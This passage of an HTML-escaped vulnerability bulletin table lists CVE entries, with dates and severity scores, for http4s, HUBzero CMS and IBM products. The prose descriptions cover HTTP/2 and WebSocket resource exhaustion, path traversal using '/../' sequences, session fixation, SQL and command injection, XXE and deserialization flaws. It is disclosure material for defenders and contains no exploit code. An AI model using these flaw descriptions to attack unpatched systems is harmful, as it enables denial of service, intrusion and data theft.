&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69217&quot; target=&quot;_blank&quot;&gt;CVE-2026-69217&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, Ember&#039;s HTTP/2 flow-control window is replenished according to bytes received from the network rather than bytes consumed by the application, while each stream stores DATA in an unbounded channel. A hostile peer can therefore send a body faster than a slow or non-draining application consumes it, retaining payloads in heap on an ember-server or ember-client configured with withHttp2. The patch bounds the per-stream H2Connection body channel so application consumption applies backpressure. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69202&quot; target=&quot;_blank&quot;&gt;CVE-2026-69202&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, An Ember server with HTTP/2 enabled through withHttp2 does not enforce SETTINGS_MAX_CONCURRENT_STREAMS for peer-created streams. One unauthenticated connection can open an unbounded number of streams, each retaining per-stream state until heap exhaustion. The same unchecked allocation is reachable in an ember-client through server-initiated PUSH_PROMISE frames because enablePush is not enforced. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69203&quot; target=&quot;_blank&quot;&gt;CVE-2026-69203&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, the DigestAuth server middleware removes fresh nonces and stops eviction at the first stale nonce because its stale-nonce comparison is inverted. On an application that protects at least one route with DigestAuth, an unauthenticated attacker can repeatedly trigger authentication challenges, causing the persistent nonce map to grow until the JVM exhausts heap memory. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69208&quot; target=&quot;_blank&quot;&gt;CVE-2026-69208&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, The shared WebSocket decoder permits unbounded message buffering because defragmentation accumulates fragments without a limit and FrameTranscoder accepts declared lengths up to Int.MaxValue. A remote client that completes a WebSocket handshake against an http4s-blaze-server or http4s-ember-server endpoint can exhaust server memory with oversized frames or fragmented messages. The patched decoder applies a configurable 64 MiB default limit to individual frames and defragmented messages through EmberServerBuilder.withMaxWebSocketMessageSize. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69209&quot; target=&quot;_blank&quot;&gt;CVE-2026-69209&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, WebSocket FrameTranscoder.bodyLength rejects extended payload lengths above Integer.MAX_VALUE but permits negative 64-bit lengths. A remote client that completes a WebSocket handshake through an Ember server can send such a frame, causing the decoder to return an empty frame without advancing its input. The decode loop then runs indefinitely, pins a worker at full CPU, and grows an ArrayBuffer without bound, resulting in denial of service. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69210&quot; target=&quot;_blank&quot;&gt;CVE-2026-69210&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, Ember HTTP/2 serializes outbound frames through one unbounded queue consumed by writeLoop. When the peer stops reading, an unauthenticated HTTP/2 client can continue sending PING, SETTINGS, or DATA frames that cause Ember to enqueue acknowledgments or WINDOW_UPDATE frames faster than the writer drains them, exhausting heap memory on a server built with withHttp2. The shared behavior also affects an ember-client connected to a hostile HTTP/2 server, and the patch replaces the unbounded path with bounded, backpressured outbound queues. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69213&quot; target=&quot;_blank&quot;&gt;CVE-2026-69213&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.35 and 1.0.0-M47, When Ember receives an HTTP/2 HEADERS or PUSH_PROMISE frame without END_HEADERS, H2Connection buffers the header block and subsequent CONTINUATION fragments without a size bound. A remote peer can keep an incomplete block open and exhaust heap memory before request decoding, affecting an ember-server or ember-client configured with withHttp2. The remediation tracks accumulated size against SETTINGS_MAX_HEADER_LIST_SIZE derived from EmberServerBuilder.maxHeaderSize or EmberClientBuilder.maxResponseHeaderSize, sends GOAWAY when the limit is exceeded, and applies receiveHeadersTimeout to incomplete blocks. This issue is fixed in versions 0.23.35 and 1.0.0-M47.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69218&quot; target=&quot;_blank&quot;&gt;CVE-2026-69218&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4s--http4s&lt;/td&gt;
&lt;td&gt;Http4s is a Scala interface for HTTP services. Prior to 0.23.37 and 1.0.0-M48, Ember&#039;s HTTP/2 read loop parses a frame&#039;s 24-bit declared length but waits to buffer the entire payload before comparing it with SETTINGS_MAX_FRAME_SIZE. An unauthenticated peer can declare a payload near 16 MiB on a connection where Ember advertised 16 KiB and either complete or slowly stream it, causing up to 1024-fold memory amplification per connection before processFrame can reject the frame. The shared H2Connection.readLoop affects withHttp2 servers and clients, while HTTP/2-disabled configurations are unaffected, and the patch rejects oversized frames before buffering their payloads. This issue is fixed in versions 0.23.37 and 1.0.0-M48.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88975&quot; target=&quot;_blank&quot;&gt;CVE-2026-88975&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hubzero--hubzero-cms&lt;/td&gt;
&lt;td&gt;HUBzero CMS through 2.2.32 contains a path traversal vulnerability in project file upload handlers that allows authenticated project members to write arbitrary files outside the project repository. Attackers can supply traversal sequences in upload parameters to write files to attacker-chosen paths with web server privileges, potentially enabling code execution.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92970&quot; target=&quot;_blank&quot;&gt;CVE-2026-92970&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hubzero--hubzero-cms&lt;/td&gt;
&lt;td&gt;HUBzero CMS through 2.2.32 accepts session identifiers from query strings and request variables instead of cookies alone, allowing unauthenticated attackers to fixate victim sessions. Attackers can obtain a valid session identifier, send victims a crafted link containing it, and replay the identifier after the victim authenticates to hijack their account and access.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92984&quot; target=&quot;_blank&quot;&gt;CVE-2026-92984&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--App Connect Enterprise&lt;/td&gt;
&lt;td&gt;IBM App Connect Enterprise 13.0.1.0 through 13.0.8.0, and 12.0.1.0 through 12.0.12.27 could allow a local attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17133&quot; target=&quot;_blank&quot;&gt;CVE-2026-17133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--App Connect Enterprise&lt;/td&gt;
&lt;td&gt;IBM App Connect Enterprise 13.0.1.0 through 13.0.8.0, and 12.0.1.0 through 12.0.12.27 could allow a local attacker to execute arbitrary code due to insecure deserialization.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17156&quot; target=&quot;_blank&quot;&gt;CVE-2026-17156&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--App Connect Enterprise&lt;/td&gt;
&lt;td&gt;IBM App Connect Enterprise 13.0.1.0 through 13.0.8.0, and 12.0.1.0 through 12.0.12.27 could allow a local attacker to execute arbitrary code due to insecure deserialization.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17416&quot; target=&quot;_blank&quot;&gt;CVE-2026-17416&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Business Automation Workflow containers and traditional&lt;/td&gt;
&lt;td&gt;IBM Business Automation Workflow containers and traditional is vulnerable to an XML external entity injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resource.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12752&quot; target=&quot;_blank&quot;&gt;CVE-2026-12752&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Business Automation Workflow containers and traditional&lt;/td&gt;
&lt;td&gt;IBM Business Automation Workflow containers and traditional is vulnerable to an XML external entity injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12756&quot; target=&quot;_blank&quot;&gt;CVE-2026-12756&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Business Automation Workflow containers and traditional&lt;/td&gt;
&lt;td&gt;IBM Business Automation Workflow containers and traditional may use programming model artifacts that are vulnerable to XML Entity Injection attacks by default.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13107&quot; target=&quot;_blank&quot;&gt;CVE-2026-13107&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM Cloud Pak for Data 5.1.2 could allow an authenticated user to execute arbitrary commands with elevated privileges on the system due to improper validation of user supplied input.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-14754&quot; target=&quot;_blank&quot;&gt;CVE-2025-14754&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM Cloud Pak for Data 5.1.2 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing &quot;dot dot&quot; sequences (/../) to view arbitrary files on the system.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-14753&quot; target=&quot;_blank&quot;&gt;CVE-2025-14753&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Cloud Pak for Data System (Yosemite 1.0)&lt;/td&gt;
&lt;td&gt;IBM Cloud Pak for Data System (Yosemite 1.0) 3.0.5.2 could allow a remote attacker to obtain sensitive information due to the use of weak or deprecated cryptographic protocols.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17467&quot; target=&quot;_blank&quot;&gt;CVE-2026-17467&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Common Licensing&lt;/td&gt;
&lt;td&gt;IBM Common Licensing Agent 9.0, Agent 9.0.0.1, Agent 9.0.0.2, ART 9.0, ART 9.0.0.1, and ART 9.0.0.2 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-15399&quot; target=&quot;_blank&quot;&gt;CVE-2025-15399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to perform an arbitrary file write due to improper validation of file paths.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16338&quot; target=&quot;_blank&quot;&gt;CVE-2026-16338&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to read, write, or delete arbitrary files due to a path traversal vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16335&quot; target=&quot;_blank&quot;&gt;CVE-2026-16335&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to execute arbitrary code due to improper configuration of the XSLT transformation engine.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16428&quot; target=&quot;_blank&quot;&gt;CVE-2026-16428&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to execute arbitrary commands due to os command injection.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16466&quot; target=&quot;_blank&quot;&gt;CVE-2026-16466&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to execute arbitrary OS commands due to improper neutralization of special characters in the PxPeek name property.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16673&quot; target=&quot;_blank&quot;&gt;CVE-2026-16673&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage PxXMLInput operator could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16432&quot; target=&quot;_blank&quot;&gt;CVE-2026-16432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Db2&lt;/td&gt;
&lt;td&gt;IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 could allow a remote attacker to perform an arbitrary file write due to improper validation of file paths.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15955&quot; target=&quot;_blank&quot;&gt;CVE-2026-15955&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to an unauthenticated second-order SQL injection vulnerability in the generateInsertQuery functionality of change-tracker-data.sql. A remote attacker could inject malicious SQL that is subsequently processed by the application, potentially resulting in compromise of the confidentiality, integrity, and availability of the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80441&quot; target=&quot;_blank&quot;&gt;CVE-2026-80441&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to an authenticated OS command injection vulnerability in the exportCertificate functionality. Successful exploitation could allow an attacker to execute unauthorized commands and impact the confidentiality, integrity, and availability of the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80442&quot; target=&quot;_blank&quot;&gt;CVE-2026-80442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote unauthenticated attacker to execute arbitrary code on the system due to the deserialization of untrusted data.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81657&quot; target=&quot;_blank&quot;&gt;CVE-2026-81657&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to unauthenticated insecure deserialization and attacker-controlled reflective method dispatch in the Change Audit System (CAS) listener. A network attacker able to reach TCP port 16017 may submit crafted serialized messages and potentially cause unintended code execution in the Guardium appliance.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82340&quot; target=&quot;_blank&quot;&gt;CVE-2026-82340&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of input during web page generation.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82832&quot; target=&quot;_blank&quot;&gt;CVE-2026-82832&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to an authentication bypass that allows an unauthenticated remote attacker to bypass IP-based access controls and access the Guardium management interface.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82967&quot; target=&quot;_blank&quot;&gt;CVE-2026-82967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of input during web page generation.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84031&quot; target=&quot;_blank&quot;&gt;CVE-2026-84031&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary SQL commands due to improper neutralization of special elements used in an SQL command.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84064&quot; target=&quot;_blank&quot;&gt;CVE-2026-84064&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary SQL commands due to improper neutralization of special elements used in an SQL command.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84073&quot; target=&quot;_blank&quot;&gt;CVE-2026-84073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote attacker to bypass security restrictions due to missing authentication for the ChangeTrackerServlet.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84075&quot; target=&quot;_blank&quot;&gt;CVE-2026-84075&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to a missing authentication vulnerability in the LoadBalancerServlet. An unauthenticated user can access privileged load-balancer operations, potentially resulting in unauthorized actions and impact to the integrity and availability of the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84078&quot; target=&quot;_blank&quot;&gt;CVE-2026-84078&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote attacker to execute arbitrary SQL commands due to improper neutralization of special elements used in an SQL command.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84082&quot; target=&quot;_blank&quot;&gt;CVE-2026-84082&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to a SQL injection vulnerability in the Load Balancer Groups component. An unauthenticated user can inject SQL statements through the Load Balancer Servlet endpoint, potentially resulting in unauthorized access to data and impact to the confidentiality, integrity, and availability of the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81626&quot; target=&quot;_blank&quot;&gt;CVE-2026-81626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to a SQL injection vulnerability in the New Query Builder REST Processor. A low-privileged authenticated user can inject SQL statements through the newQueryBuilder REST endpoint, potentially resulting in unauthorized access to data and impact to the confidentiality, integrity, and availability of the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81656&quot; target=&quot;_blank&quot;&gt;CVE-2026-81656&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to a SQL injection vulnerability in the Analytic Grid Service Handler. A low-privileged authenticated user can inject SQL statements through the analytic cases grid endpoint, potentially resulting in unauthorized access to sensitive data and impact to the confidentiality, integrity, and availability of the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81933&quot; target=&quot;_blank&quot;&gt;CVE-2026-81933&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
